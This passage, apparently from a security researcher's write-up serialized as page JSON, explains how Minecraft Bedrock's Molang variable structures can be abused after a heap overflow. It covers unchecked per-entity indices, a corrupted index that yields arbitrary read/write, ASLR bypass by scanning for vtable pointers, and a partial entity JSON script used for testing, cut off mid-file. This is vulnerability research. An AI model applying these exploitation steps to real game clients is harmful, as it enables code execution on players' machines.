",{"type":24,"tag":154,"props":153811,"children":153813},{"className":153812},[],[153814],{"type":29,"value":23663},{"type":29,"value":191},{"type":24,"tag":154,"props":153817,"children":153819},{"className":153818},[],[153820],{"type":29,"value":74473},{"type":29,"value":191},{"type":24,"tag":154,"props":153823,"children":153825},{"className":153824},[],[153826],{"type":29,"value":3760},{"type":29,"value":191},{"type":24,"tag":154,"props":153829,"children":153831},{"className":153830},[],[153832],{"type":29,"value":1280},{"type":29,"value":153834},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":24,"tag":147,"props":153836,"children":153838},{"code":153837},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[153839],{"type":24,"tag":154,"props":153840,"children":153841},{"__ignoreMap":7},[153842],{"type":29,"value":153837},{"type":24,"tag":25,"props":153844,"children":153845},{},[153846],{"type":29,"value":153847},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":24,"tag":20134,"props":153849,"children":153851},{"id":153850},"molang-internals",[153852],{"type":29,"value":153853},"Molang Internals",{"type":24,"tag":25,"props":153855,"children":153856},{},[153857],{"type":29,"value":153858},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":24,"tag":25,"props":153860,"children":153861},{},[153862],{"type":29,"value":153863},"Below we describe the structures involved and their memory layout.",{"type":24,"tag":20134,"props":153865,"children":153867},{"id":153866},"molangvariable-and-molangscriptarg",[153868],{"type":29,"value":153869},"MolangVariable and MolangScriptArg",{"type":24,"tag":25,"props":153871,"children":153872},{},[153873,153874,153880],{"type":29,"value":103629},{"type":24,"tag":154,"props":153875,"children":153877},{"className":153876},[],[153878],{"type":29,"value":153879},"MolangVariable",{"type":29,"value":153881}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":24,"tag":147,"props":153883,"children":153885},{"code":153884,"language":2907,"meta":7,"className":17751,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[153886],{"type":24,"tag":154,"props":153887,"children":153888},{"__ignoreMap":7},[153889,153901,153908,153920,153933,153941,153948,153955,153967,153980,153992,154022,154030,154037,154044],{"type":24,"tag":158,"props":153890,"children":153891},{"class":160,"line":161},[153892,153896],{"type":24,"tag":158,"props":153893,"children":153894},{"style":165},[153895],{"type":29,"value":168},{"type":24,"tag":158,"props":153897,"children":153898},{"style":188},[153899],{"type":29,"value":153900}," MolangVariable {\n",{"type":24,"tag":158,"props":153902,"children":153903},{"class":160,"line":213},[153904],{"type":24,"tag":158,"props":153905,"children":153906},{"style":188},[153907],{"type":29,"value":63060},{"type":24,"tag":158,"props":153909,"children":153910},{"class":160,"line":238},[153911,153915],{"type":24,"tag":158,"props":153912,"children":153913},{"style":165},[153914],{"type":29,"value":7702},{"type":24,"tag":158,"props":153916,"children":153917},{"style":188},[153918],{"type":29,"value":153919}," HashedString {\n",{"type":24,"tag":158,"props":153921,"children":153922},{"class":160,"line":259},[153923,153928],{"type":24,"tag":158,"props":153924,"children":153925},{"style":165},[153926],{"type":29,"value":153927}," uint64_t",{"type":24,"tag":158,"props":153929,"children":153930},{"style":188},[153931],{"type":29,"value":153932}," variable_name_hash;\n",{"type":24,"tag":158,"props":153934,"children":153935},{"class":160,"line":280},[153936],{"type":24,"tag":158,"props":153937,"children":153938},{"style":188},[153939],{"type":29,"value":153940}," std::string variable_name;\n",{"type":24,"tag":158,"props":153942,"children":153943},{"class":160,"line":301},[153944],{"type":24,"tag":158,"props":153945,"children":153946},{"style":188},[153947],{"type":29,"value":40261},{"type":24,"tag":158,"props":153949,"children":153950},{"class":160,"line":626},[153951],{"type":24,"tag":158,"props":153952,"children":153953},{"style":188},[153954],{"type":29,"value":63060},{"type":24,"tag":158,"props":153956,"children":153957},{"class":160,"line":668},[153958,153962],{"type":24,"tag":158,"props":153959,"children":153960},{"style":165},[153961],{"type":29,"value":7702},{"type":24,"tag":158,"props":153963,"children":153964},{"style":188},[153965],{"type":29,"value":153966}," MolangScriptArg {\n",{"type":24,"tag":158,"props":153968,"children":153969},{"class":160,"line":676},[153970,153975],{"type":24,"tag":158,"props":153971,"children":153972},{"style":165},[153973],{"type":29,"value":153974}," uint32_t",{"type":24,"tag":158,"props":153976,"children":153977},{"style":188},[153978],{"type":29,"value":153979}," value_type;\n",{"type":24,"tag":158,"props":153981,"children":153982},{"class":160,"line":684},[153983,153987],{"type":24,"tag":158,"props":153984,"children":153985},{"style":165},[153986],{"type":29,"value":153927},{"type":24,"tag":158,"props":153988,"children":153989},{"style":188},[153990],{"type":29,"value":153991}," value;\n",{"type":24,"tag":158,"props":153993,"children":153994},{"class":160,"line":700},[153995,154000,154004,154008,154013,154017],{"type":24,"tag":158,"props":153996,"children":153997},{"style":188},[153998],{"type":29,"value":153999}," std::vector",{"type":24,"tag":158,"props":154001,"children":154002},{"style":222},[154003],{"type":29,"value":3760},{"type":24,"tag":158,"props":154005,"children":154006},{"style":165},[154007],{"type":29,"value":168},{"type":24,"tag":158,"props":154009,"children":154010},{"style":188},[154011],{"type":29,"value":154012}," MolangScriptArg",{"type":24,"tag":158,"props":154014,"children":154015},{"style":222},[154016],{"type":29,"value":1280},{"type":24,"tag":158,"props":154018,"children":154019},{"style":188},[154020],{"type":29,"value":154021}," struct_fields;\n",{"type":24,"tag":158,"props":154023,"children":154024},{"class":160,"line":785},[154025],{"type":24,"tag":158,"props":154026,"children":154027},{"style":188},[154028],{"type":29,"value":154029}," \n",{"type":24,"tag":158,"props":154031,"children":154032},{"class":160,"line":1447},[154033],{"type":24,"tag":158,"props":154034,"children":154035},{"style":188},[154036],{"type":29,"value":125317},{"type":24,"tag":158,"props":154038,"children":154039},{"class":160,"line":1509},[154040],{"type":24,"tag":158,"props":154041,"children":154042},{"style":188},[154043],{"type":29,"value":40261},{"type":24,"tag":158,"props":154045,"children":154046},{"class":160,"line":1527},[154047],{"type":24,"tag":158,"props":154048,"children":154049},{"style":188},[154050],{"type":29,"value":17814},{"type":24,"tag":25,"props":154052,"children":154053},{},[154054,154056,154061],{"type":29,"value":154055},"In memory a ",{"type":24,"tag":154,"props":154057,"children":154059},{"className":154058},[],[154060],{"type":29,"value":153879},{"type":29,"value":154062}," instance resembles:",{"type":24,"tag":147,"props":154064,"children":154066},{"code":154065}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[154067],{"type":24,"tag":154,"props":154068,"children":154069},{"__ignoreMap":7},[154070],{"type":29,"value":154065},{"type":24,"tag":25,"props":154072,"children":154073},{},[154074],{"type":29,"value":154075},"For reference, example debugger view of the layout:",{"type":24,"tag":25,"props":154077,"children":154078},{},[154079],{"type":24,"tag":84,"props":154080,"children":154082},{"alt":51850,"src":154081},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":24,"tag":25,"props":154084,"children":154085},{},[154086],{"type":29,"value":154087},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":24,"tag":25,"props":154089,"children":154090},{},[154091,154093,154099,154101,154106,154108,154114,154116,154121,154122,154127,154129,154134,154135,154141,154142,154148],{"type":29,"value":154092},"We only care about the ",{"type":24,"tag":154,"props":154094,"children":154096},{"className":154095},[],[154097],{"type":29,"value":154098},"MolangScriptArg",{"type":29,"value":154100}," beginning at offset ",{"type":24,"tag":154,"props":154102,"children":154104},{"className":154103},[],[154105],{"type":29,"value":130196},{"type":29,"value":154107}," because it contains variable values. In the screenshot above, the ",{"type":24,"tag":154,"props":154109,"children":154111},{"className":154110},[],[154112],{"type":29,"value":154113},"value_type",{"type":29,"value":154115}," at ",{"type":24,"tag":154,"props":154117,"children":154119},{"className":154118},[],[154120],{"type":29,"value":130196},{"type":29,"value":816},{"type":24,"tag":154,"props":154123,"children":154125},{"className":154124},[],[154126],{"type":29,"value":5682},{"type":29,"value":154128}," (meaning float), and the ",{"type":24,"tag":154,"props":154130,"children":154132},{"className":154131},[],[154133],{"type":29,"value":40416},{"type":29,"value":154115},{"type":24,"tag":154,"props":154136,"children":154138},{"className":154137},[],[154139],{"type":29,"value":154140},"0x38",{"type":29,"value":816},{"type":24,"tag":154,"props":154143,"children":154145},{"className":154144},[],[154146],{"type":29,"value":154147},"0xbf2070c8",{"type":29,"value":347},{"type":24,"tag":25,"props":154150,"children":154151},{},[154152,154154,154160,154162,154167,154169,154174,154175,154180,154182,154187,154189,154194],{"type":29,"value":154153},"During assignment, such as ",{"type":24,"tag":154,"props":154155,"children":154157},{"className":154156},[],[154158],{"type":29,"value":154159},"variable.a = variable.b",{"type":29,"value":154161},", each field of ",{"type":24,"tag":154,"props":154163,"children":154165},{"className":154164},[],[154166],{"type":29,"value":154098},{"type":29,"value":154168}," is copied from variable ",{"type":24,"tag":154,"props":154170,"children":154172},{"className":154171},[],[154173],{"type":29,"value":741},{"type":29,"value":58049},{"type":24,"tag":154,"props":154176,"children":154178},{"className":154177},[],[154179],{"type":29,"value":101},{"type":29,"value":154181},". Interestingly, the ",{"type":24,"tag":154,"props":154183,"children":154185},{"className":154184},[],[154186],{"type":29,"value":40416},{"type":29,"value":154188}," field is always copied as a ",{"type":24,"tag":154,"props":154190,"children":154192},{"className":154191},[],[154193],{"type":29,"value":56907},{"type":29,"value":154195}," even if the type is a 32-bit float.",{"type":24,"tag":25,"props":154197,"children":154198},{},[154199,154201,154207],{"type":29,"value":154200},"Each entity stores its variables in a per-entity vector called ",{"type":24,"tag":154,"props":154202,"children":154204},{"className":154203},[],[154205],{"type":29,"value":154206},"MolangVariableMap",{"type":29,"value":347},{"type":24,"tag":20134,"props":154209,"children":154211},{"id":154210},"molangvariablemap",[154212],{"type":29,"value":154206},{"type":24,"tag":25,"props":154214,"children":154215},{},[154216,154221,154223,154229,154231,154237],{"type":24,"tag":154,"props":154217,"children":154219},{"className":154218},[],[154220],{"type":29,"value":154206},{"type":29,"value":154222}," is simply a ",{"type":24,"tag":154,"props":154224,"children":154226},{"className":154225},[],[154227],{"type":29,"value":154228},"std::vector\u003CMolangVariable *>",{"type":29,"value":154230}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":24,"tag":154,"props":154232,"children":154234},{"className":154233},[],[154235],{"type":29,"value":154236},"std::vector",{"type":29,"value":154238}," layout:",{"type":24,"tag":147,"props":154240,"children":154242},{"code":154241,"language":2907,"meta":7,"className":17751,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[154243],{"type":24,"tag":154,"props":154244,"children":154245},{"__ignoreMap":7},[154246,154258,154274,154290,154306],{"type":24,"tag":158,"props":154247,"children":154248},{"class":160,"line":161},[154249,154253],{"type":24,"tag":158,"props":154250,"children":154251},{"style":165},[154252],{"type":29,"value":168},{"type":24,"tag":158,"props":154254,"children":154255},{"style":188},[154256],{"type":29,"value":154257}," vector {\n",{"type":24,"tag":158,"props":154259,"children":154260},{"class":160,"line":213},[154261,154265,154269],{"type":24,"tag":158,"props":154262,"children":154263},{"style":165},[154264],{"type":29,"value":17784},{"type":24,"tag":158,"props":154266,"children":154267},{"style":222},[154268],{"type":29,"value":615},{"type":24,"tag":158,"props":154270,"children":154271},{"style":188},[154272],{"type":29,"value":154273},"buf;\n",{"type":24,"tag":158,"props":154275,"children":154276},{"class":160,"line":238},[154277,154281,154285],{"type":24,"tag":158,"props":154278,"children":154279},{"style":165},[154280],{"type":29,"value":17784},{"type":24,"tag":158,"props":154282,"children":154283},{"style":222},[154284],{"type":29,"value":615},{"type":24,"tag":158,"props":154286,"children":154287},{"style":188},[154288],{"type":29,"value":154289},"len;\n",{"type":24,"tag":158,"props":154291,"children":154292},{"class":160,"line":259},[154293,154297,154301],{"type":24,"tag":158,"props":154294,"children":154295},{"style":165},[154296],{"type":29,"value":17784},{"type":24,"tag":158,"props":154298,"children":154299},{"style":222},[154300],{"type":29,"value":615},{"type":24,"tag":158,"props":154302,"children":154303},{"style":188},[154304],{"type":29,"value":154305},"cap;\n",{"type":24,"tag":158,"props":154307,"children":154308},{"class":160,"line":280},[154309],{"type":24,"tag":158,"props":154310,"children":154311},{"style":188},[154312],{"type":29,"value":17814},{"type":24,"tag":25,"props":154314,"children":154315},{},[154316,154321,154323,154328,154330,154336,154338,154343,154344,154349],{"type":24,"tag":154,"props":154317,"children":154319},{"className":154318},[],[154320],{"type":29,"value":151402},{"type":29,"value":154322}," points to the allocated array of elements, ",{"type":24,"tag":154,"props":154324,"children":154326},{"className":154325},[],[154327],{"type":29,"value":10726},{"type":29,"value":154329}," points just past the last used element, and ",{"type":24,"tag":154,"props":154331,"children":154333},{"className":154332},[],[154334],{"type":29,"value":154335},"cap",{"type":29,"value":154337}," points to the end of the allocated buffer. Notably, the types of ",{"type":24,"tag":154,"props":154339,"children":154341},{"className":154340},[],[154342],{"type":29,"value":10726},{"type":29,"value":1826},{"type":24,"tag":154,"props":154345,"children":154347},{"className":154346},[],[154348],{"type":29,"value":154335},{"type":29,"value":154350}," aren't typical integer types for sizes, but both are pointers.",{"type":24,"tag":25,"props":154352,"children":154353},{},[154354],{"type":29,"value":154355},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":24,"tag":147,"props":154357,"children":154359},{"code":154358},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[154360],{"type":24,"tag":154,"props":154361,"children":154362},{"__ignoreMap":7},[154363],{"type":29,"value":154358},{"type":24,"tag":25,"props":154365,"children":154366},{},[154367,154369,154375,154377,154383],{"type":29,"value":154368},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":24,"tag":154,"props":154370,"children":154372},{"className":154371},[],[154373],{"type":29,"value":154374},"variable.result",{"type":29,"value":154376},") may differ between entities. To get around this, ",{"type":24,"tag":154,"props":154378,"children":154380},{"className":154379},[],[154381],{"type":29,"value":154382},"MolangIndexMap",{"type":29,"value":154384}," is used to map a global variable name to the correct per-entity slot.",{"type":24,"tag":20134,"props":154386,"children":154388},{"id":154387},"molangindexmap",[154389],{"type":29,"value":154382},{"type":24,"tag":25,"props":154391,"children":154392},{},[154393,154398,154400,154406,154408,154414],{"type":24,"tag":154,"props":154394,"children":154396},{"className":154395},[],[154397],{"type":29,"value":154382},{"type":29,"value":154399}," is a per-entity ",{"type":24,"tag":154,"props":154401,"children":154403},{"className":154402},[],[154404],{"type":29,"value":154405},"std::vector\u003Cuint16_t>",{"type":29,"value":154407},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":24,"tag":154,"props":154409,"children":154411},{"className":154410},[],[154412],{"type":29,"value":154413},"variable.result = 0",{"type":29,"value":154415}," it:",{"type":24,"tag":1786,"props":154417,"children":154418},{},[154419,154429,154439],{"type":24,"tag":1790,"props":154420,"children":154421},{},[154422,154424],{"type":29,"value":154423},"Checks the global hashmap for ",{"type":24,"tag":154,"props":154425,"children":154427},{"className":154426},[],[154428],{"type":29,"value":1025},{"type":24,"tag":1790,"props":154430,"children":154431},{},[154432,154434],{"type":29,"value":154433},"If found, uses the global index to look up the per-entity index in ",{"type":24,"tag":154,"props":154435,"children":154437},{"className":154436},[],[154438],{"type":29,"value":154382},{"type":24,"tag":1790,"props":154440,"children":154441},{},[154442,154444],{"type":29,"value":154443},"If not found, creates a new global entry and assigns it ",{"type":24,"tag":154,"props":154445,"children":154447},{"className":154446},[],[154448],{"type":29,"value":154449},"last_index + 1",{"type":24,"tag":25,"props":154451,"children":154452},{},[154453,154455,154460,154462,154467,154469,154474,154476,154481,154483,154488,154489,154495,154497,154502],{"type":29,"value":154454},"This means the same global index for variable ",{"type":24,"tag":154,"props":154456,"children":154458},{"className":154457},[],[154459],{"type":29,"value":1025},{"type":29,"value":154461}," maps to the same position inside every entity’s ",{"type":24,"tag":154,"props":154463,"children":154465},{"className":154464},[],[154466],{"type":29,"value":154382},{"type":29,"value":154468},", but the actual ",{"type":24,"tag":154,"props":154470,"children":154472},{"className":154471},[],[154473],{"type":29,"value":153879},{"type":29,"value":154475}," for ",{"type":24,"tag":154,"props":154477,"children":154479},{"className":154478},[],[154480],{"type":29,"value":1025},{"type":29,"value":154482}," may live at different slots inside each entity's ",{"type":24,"tag":154,"props":154484,"children":154486},{"className":154485},[],[154487],{"type":29,"value":154206},{"type":29,"value":19772},{"type":24,"tag":154,"props":154490,"children":154492},{"className":154491},[],[154493],{"type":29,"value":154494},"Entity.MolangIndexMap[global_index]",{"type":29,"value":154496}," stores the per-entity index (slot) of variable ",{"type":24,"tag":154,"props":154498,"children":154500},{"className":154499},[],[154501],{"type":29,"value":1025},{"type":29,"value":347},{"type":24,"tag":25,"props":154504,"children":154505},{},[154506,154508,154513,154515,154520,154522,154527,154529,154534,154536,154542,154544,154549],{"type":29,"value":154507},"Importantly, we found that indices in the ",{"type":24,"tag":154,"props":154509,"children":154511},{"className":154510},[],[154512],{"type":29,"value":154382},{"type":29,"value":154514}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":24,"tag":154,"props":154516,"children":154518},{"className":154517},[],[154519],{"type":29,"value":154206},{"type":29,"value":154521},". This means that if we overwrite the index of variable ",{"type":24,"tag":154,"props":154523,"children":154525},{"className":154524},[],[154526],{"type":29,"value":1025},{"type":29,"value":154528}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":24,"tag":154,"props":154530,"children":154532},{"className":154531},[],[154533],{"type":29,"value":154206},{"type":29,"value":154535},", we could read from and write to ",{"type":24,"tag":154,"props":154537,"children":154539},{"className":154538},[],[154540],{"type":29,"value":154541},"address + 0x38",{"type":29,"value":154543}," through ",{"type":24,"tag":154,"props":154545,"children":154547},{"className":154546},[],[154548],{"type":29,"value":154374},{"type":29,"value":347},{"type":24,"tag":395,"props":154551,"children":154553},{"id":154552},"building-a-molang-arbitrary-rw-primitive",[154554],{"type":29,"value":154555},"Building a Molang Arbitrary R/W Primitive",{"type":24,"tag":25,"props":154557,"children":154558},{},[154559,154561,154566,154568,154573],{"type":29,"value":154560},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":24,"tag":154,"props":154562,"children":154564},{"className":154563},[],[154565],{"type":29,"value":154236},{"type":29,"value":154567}," - specifically, of ",{"type":24,"tag":154,"props":154569,"children":154571},{"className":154570},[],[154572],{"type":29,"value":154206},{"type":29,"value":154574}," vector.",{"type":24,"tag":25,"props":154576,"children":154577},{},[154578,154580,154585,154587,154592,154593,154598,154600,154605],{"type":29,"value":154579},"Because every entity object is heap-allocated and contains a ",{"type":24,"tag":154,"props":154581,"children":154583},{"className":154582},[],[154584],{"type":29,"value":154206},{"type":29,"value":154586}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":24,"tag":154,"props":154588,"children":154590},{"className":154589},[],[154591],{"type":29,"value":151402},{"type":29,"value":57064},{"type":24,"tag":154,"props":154594,"children":154596},{"className":154595},[],[154597],{"type":29,"value":154206},{"type":29,"value":154599}," vector belonging to an entity object placed just next the ",{"type":24,"tag":154,"props":154601,"children":154603},{"className":154602},[],[154604],{"type":29,"value":154206},{"type":29,"value":154606}," allocated buffer.",{"type":24,"tag":147,"props":154608,"children":154610},{"code":154609}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[154611],{"type":24,"tag":154,"props":154612,"children":154613},{"__ignoreMap":7},[154614],{"type":29,"value":154609},{"type":24,"tag":25,"props":154616,"children":154617},{},[154618,154620,154625,154627,154633,154635,154640,154641,154647,154648,154653,154655,154660,154662,154667,154669,154674,154676,154681,154683,154688,154690,154695,154697,154703,154705,154710,154712,154717],{"type":29,"value":154619},"In the scenario above, the ",{"type":24,"tag":154,"props":154621,"children":154623},{"className":154622},[],[154624],{"type":29,"value":154382},{"type":29,"value":154626}," would map ",{"type":24,"tag":154,"props":154628,"children":154630},{"className":154629},[],[154631],{"type":29,"value":154632},"variable.a",{"type":29,"value":154634}," -> index ",{"type":24,"tag":154,"props":154636,"children":154638},{"className":154637},[],[154639],{"type":29,"value":5682},{"type":29,"value":191},{"type":24,"tag":154,"props":154642,"children":154644},{"className":154643},[],[154645],{"type":29,"value":154646},"variable.b",{"type":29,"value":154634},{"type":24,"tag":154,"props":154649,"children":154651},{"className":154650},[],[154652],{"type":29,"value":5672},{"type":29,"value":154654},", and so on. If we overwrite the index for ",{"type":24,"tag":154,"props":154656,"children":154658},{"className":154657},[],[154659],{"type":29,"value":154632},{"type":29,"value":154661}," with a value that is out-of-bounds for the ",{"type":24,"tag":154,"props":154663,"children":154665},{"className":154664},[],[154666],{"type":29,"value":154206},{"type":29,"value":154668},", it can instead index the ",{"type":24,"tag":154,"props":154670,"children":154672},{"className":154671},[],[154673],{"type":29,"value":151402},{"type":29,"value":154675}," field of the entity object above. Reading ",{"type":24,"tag":154,"props":154677,"children":154679},{"className":154678},[],[154680],{"type":29,"value":154632},{"type":29,"value":154682}," will then return the pointer stored at offset ",{"type":24,"tag":154,"props":154684,"children":154686},{"className":154685},[],[154687],{"type":29,"value":154140},{"type":29,"value":154689}," from the start of the ",{"type":24,"tag":154,"props":154691,"children":154693},{"className":154692},[],[154694],{"type":29,"value":154206},{"type":29,"value":154696}," (which in this diagram corresponds to ",{"type":24,"tag":154,"props":154698,"children":154700},{"className":154699},[],[154701],{"type":29,"value":154702},"variable.f",{"type":29,"value":154704},"), and writing to ",{"type":24,"tag":154,"props":154706,"children":154708},{"className":154707},[],[154709],{"type":29,"value":154632},{"type":29,"value":154711}," will overwrite that pointer - corrupting ",{"type":24,"tag":154,"props":154713,"children":154715},{"className":154714},[],[154716],{"type":29,"value":154702},{"type":29,"value":347},{"type":24,"tag":25,"props":154719,"children":154720},{},[154721,154723,154728,154729,154735,154737,154742,154744,154750,154752,154757,154759,154764,154766,154772,154774,154780,154782,154787],{"type":29,"value":154722},"To leak the address of the Minecraft executable we could increment ",{"type":24,"tag":154,"props":154724,"children":154726},{"className":154725},[],[154727],{"type":29,"value":154632},{"type":29,"value":2262},{"type":24,"tag":154,"props":154730,"children":154732},{"className":154731},[],[154733],{"type":29,"value":154734},"variable.a += 8",{"type":29,"value":154736},"), which advances the pointer used for ",{"type":24,"tag":154,"props":154738,"children":154740},{"className":154739},[],[154741],{"type":29,"value":154702},{"type":29,"value":154743}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":24,"tag":154,"props":154745,"children":154747},{"className":154746},[],[154748],{"type":29,"value":154749},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":154751}," - this updates the ",{"type":24,"tag":154,"props":154753,"children":154755},{"className":154754},[],[154756],{"type":29,"value":154702},{"type":29,"value":154758}," pointer to our chosen address, and writing to ",{"type":24,"tag":154,"props":154760,"children":154762},{"className":154761},[],[154763],{"type":29,"value":154702},{"type":29,"value":154765},", for example ",{"type":24,"tag":154,"props":154767,"children":154769},{"className":154768},[],[154770],{"type":29,"value":154771},"variable.f = 1337",{"type":29,"value":154773},", writes the value ",{"type":24,"tag":154,"props":154775,"children":154777},{"className":154776},[],[154778],{"type":29,"value":154779},"1337",{"type":29,"value":154781}," to offset ",{"type":24,"tag":154,"props":154783,"children":154785},{"className":154784},[],[154786],{"type":29,"value":154140},{"type":29,"value":154788}," from that calculated address.",{"type":24,"tag":20134,"props":154790,"children":154792},{"id":154791},"testing-the-idea",[154793],{"type":29,"value":154794},"Testing the Idea",{"type":24,"tag":25,"props":154796,"children":154797},{},[154798,154800,154805,154807,154812,154814,154819],{"type":29,"value":154799},"We tested the idea by manually adding a pointer to the start of ",{"type":24,"tag":154,"props":154801,"children":154803},{"className":154802},[],[154804],{"type":29,"value":154206},{"type":29,"value":154806}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":24,"tag":32,"props":154808,"children":154809},{},[154810],{"type":29,"value":154811},"almost",{"type":29,"value":154813}," worked - below is the state of the ",{"type":24,"tag":154,"props":154815,"children":154817},{"className":154816},[],[154818],{"type":29,"value":154206},{"type":29,"value":154820},"'s allocated buffer before the Molang script executes:",{"type":24,"tag":25,"props":154822,"children":154823},{},[154824],{"type":24,"tag":84,"props":154825,"children":154827},{"alt":51850,"src":154826},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":24,"tag":25,"props":154829,"children":154830},{},[154831],{"type":29,"value":154832},"And this is after execution:",{"type":24,"tag":25,"props":154834,"children":154835},{},[154836],{"type":24,"tag":84,"props":154837,"children":154839},{"alt":51850,"src":154838},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":24,"tag":25,"props":154841,"children":154842},{},[154843],{"type":29,"value":154844},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":24,"tag":147,"props":154846,"children":154848},{"code":154847,"language":35260,"meta":7,"className":35258,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[154849],{"type":24,"tag":154,"props":154850,"children":154851},{"__ignoreMap":7},[154852,154859,154880,154892,154904,154925,154932,154939,154946,154958,154971,154983,154995,155007,155023,155030,155042,155050,155058,155065,155072,155079],{"type":24,"tag":158,"props":154853,"children":154854},{"class":160,"line":161},[154855],{"type":24,"tag":158,"props":154856,"children":154857},{"style":188},[154858],{"type":29,"value":1710},{"type":24,"tag":158,"props":154860,"children":154861},{"class":160,"line":213},[154862,154867,154871,154876],{"type":24,"tag":158,"props":154863,"children":154864},{"style":177},[154865],{"type":29,"value":154866}," \"format_version\"",{"type":24,"tag":158,"props":154868,"children":154869},{"style":188},[154870],{"type":29,"value":16566},{"type":24,"tag":158,"props":154872,"children":154873},{"style":1108},[154874],{"type":29,"value":154875},"\"1.10.0\"",{"type":24,"tag":158,"props":154877,"children":154878},{"style":188},[154879],{"type":29,"value":235},{"type":24,"tag":158,"props":154881,"children":154882},{"class":160,"line":238},[154883,154888],{"type":24,"tag":158,"props":154884,"children":154885},{"style":177},[154886],{"type":29,"value":154887}," \"minecraft:client_entity\"",{"type":24,"tag":158,"props":154889,"children":154890},{"style":188},[154891],{"type":29,"value":38286},{"type":24,"tag":158,"props":154893,"children":154894},{"class":160,"line":259},[154895,154900],{"type":24,"tag":158,"props":154896,"children":154897},{"style":177},[154898],{"type":29,"value":154899}," \"description\"",{"type":24,"tag":158,"props":154901,"children":154902},{"style":188},[154903],{"type":29,"value":38286},{"type":24,"tag":158,"props":154905,"children":154906},{"class":160,"line":280},[154907,154912,154916,154921],{"type":24,"tag":158,"props":154908,"children":154909},{"style":177},[154910],{"type":29,"value":154911}," \"identifier\"",{"type":24,"tag":158,"props":154913,"children":154914},{"style":188},[154915],{"type":29,"value":16566},{"type":24,"tag":158,"props":154917,"children":154918},{"style":1108},[154919],{"type":29,"value":154920},"\"minecraft:leash_knot\"",{"type":24,"tag":158,"props":154922,"children":154923},{"style":188},[154924],{"type":29,"value":235},{"type":24,"tag":158,"props":154926,"children":154927},{"class":160,"line":301},[154928],{"type":24,"tag":158,"props":154929,"children":154930},{"emptyLinePlaceholder":16},[154931],{"type":29,"value":481},{"type":24,"tag":158,"props":154933,"children":154934},{"class":160,"line":626},[154935],{"type":24,"tag":158,"props":154936,"children":154937},{"style":23651},[154938],{"type":29,"value":128719},{"type":24,"tag":158,"props":154940,"children":154941},{"class":160,"line":668},[154942],{"type":24,"tag":158,"props":154943,"children":154944},{"style":188},[154945],{"type":29,"value":154029},{"type":24,"tag":158,"props":154947,"children":154948},{"class":160,"line":676},[154949,154954],{"type":24,"tag":158,"props":154950,"children":154951},{"style":177},[154952],{"type":29,"value":154953}," \"scripts\"",{"type":24,"tag":158,"props":154955,"children":154956},{"style":188},[154957],{"type":29,"value":38286},{"type":24,"tag":158,"props":154959,"children":154960},{"class":160,"line":684},[154961,154966],{"type":24,"tag":158,"props":154962,"children":154963},{"style":177},[154964],{"type":29,"value":154965}," \"initialize\"",{"type":24,"tag":158,"props":154967,"children":154968},{"style":188},[154969],{"type":29,"value":154970},": [\n",{"type":24,"tag":158,"props":154972,"children":154973},{"class":160,"line":700},[154974,154979],{"type":24,"tag":158,"props":154975,"children":154976},{"style":1108},[154977],{"type":29,"value":154978}," \"variable.a = 